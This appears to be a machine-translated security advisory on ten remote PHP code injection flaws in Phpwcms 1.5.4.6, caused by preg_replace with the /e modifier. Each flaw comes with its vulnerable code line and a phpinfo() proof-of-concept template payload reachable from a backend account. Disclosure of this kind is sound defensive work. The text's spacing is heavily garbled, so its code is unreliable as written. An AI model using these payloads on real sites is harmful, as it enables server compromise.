Phpwcms 'preg _ replace () 'Multiple Remote PHP Code Injection Vulnerabilities

Phpwcms is an open source content management system. Phpwcms 1.5.4.6 and other versions have multiple code injection vulnerabilities, remote attackers can exploit these vulnerabilities by using the "backend user" \ "admin user" \ "backend user" account. (the "frontend user" account cannot exploit these vulnerabilities) execute any PHP script code on the affected computer. Test method: 1. lines 699-700. /include/inc_front/content. func. inc. php: Coding // list based navigation starting at given level $ replace = 'nav _ list_struct ($ content ["struct"], $ content ["cat_id"], "$1", "$2"); '; $ content ["all"] = preg_replace ('/\ {NAV_LIST :( \ d +): {0, 1 }(. *) {0, 1} \}/e ', $ replace, $ content ["all"]); PoC: {NAV_LIST: 1 :{$ {phpinfo ()}}} 2. line 704 Of,. include/inc_front/content. func. inc. php: Response $ content ["all"] = preg_replace ('/\ {NAV_LIST_TOP :(.*?) :(.*?) \}/E ', 'css _ level_list ($ content ["struct"], $ content ["cat_path"], 0, "$1", 1, "$2") ', $ content ["all"]); PoC: {NAV_LIST_TOP :{$ {phpinfo }:1} 3. line 708. /include/inc_front/content. func. inc. php: ------------------------------------------------------ $ content ["all"] = preg_replace ('/\ {NAV_LIST_CURRENT :( \ d + ):(. *?) :(.*?) \}/E ', 'css _ level_list ($ content ["struct"], $ content ["cat_path"], $ content ["cat_id"], "$2 ", "$1", "$3") ', $ content ["all"]); PoC: {NAV_LIST_CURRENT: 1 :{$ {phpinfo ()}}: 1} 4. line 792. /include/inc_front/content. func. inc. php: ------------------------------------------------------ $ content ["all"] = preg_replace ('/\ {BROWSE: NEXT :(. *?) :( 0 | 1) \}/e ', 'Get _ index_link_next ("$1", $2);', $ content ["all"]); PoC: {BROWSE: NEXT :{$ {phpinfo () }:1} 5. line 793. /include/inc_front/content. func. inc. php: ------------------------------------------------------ $ content ["all"] = preg_replace ('/\ {BROWSE: PREV :(. *?) :( 0 | 1) \}/e ', 'Get _ index_link_prev ("$1", $2);', $ content ["all"]); PoC: {BROWSE: PREV :{$ {phpinfo () }}: 1} 6. line 2661. /include/inc_front/front. func. inc. php: ------------------------------------------------------- $ text = preg_replace ('/\ {LIVEDATE :(. *?) Lang = (..) \}/E', 'International _ date_format ("$2", "$1 ","'. $ livedate. '")', $ text); www.2cto. comPoC: {LIVEDATE :{$ {phpinfo ()} lang = ru} 7. line 2658. /include/inc_front/front. func. inc. php: ------------------------------------------------------- $ text = preg_replace ('/\ {DATE :(. *?) Lang = (..) \}/E', 'International _ date_format ("$2", "$1 ","'. $ date. '")', $ text); PoC: {DATE: {$ {phpinfo ()} lang = ru} 8. line 2665. /include/inc_front/front. func. inc. php: ------------------------------------------------------- $ text = preg_replace ('/\ {KILLDATE :(. *?) Lang = (..) \}/E', 'International _ date_format ("$2", "$1 ","'. $ killdate. '")', $ text); PoC: {KILLDATE: {$ {phpinfo ()} lang = ru} 9. line 2668. /include/inc_front/front. func. inc. php: --------------------------------------------------------- return preg_replace ('/\ {NOW :(. *?) Lang = (..) \}/E', 'International _ date_format ("$2", "$1 ","'. now (). '")', $ text); PoC: {NOW: {$ {phpinfo ()} lang = ru} 10. line 2674. /include/inc_front/front. func. inc. php: -------------------------------------------------------- $ text = preg_replace ('/\{'. $ rt. ':(. *?) Lang = (..) \}/E', 'International _ date_format ("$2", "$1 ","'. $ date. '")', $ text); PoC: {DATE :{$ {phpinfo ()} lang = ru}Security suggestions:Currently the vendor has not provided patches or upgrade programs, we recommend that users who use this software keep an eye on the vendor's home page to get the latest version: http://www.phpwcms.de/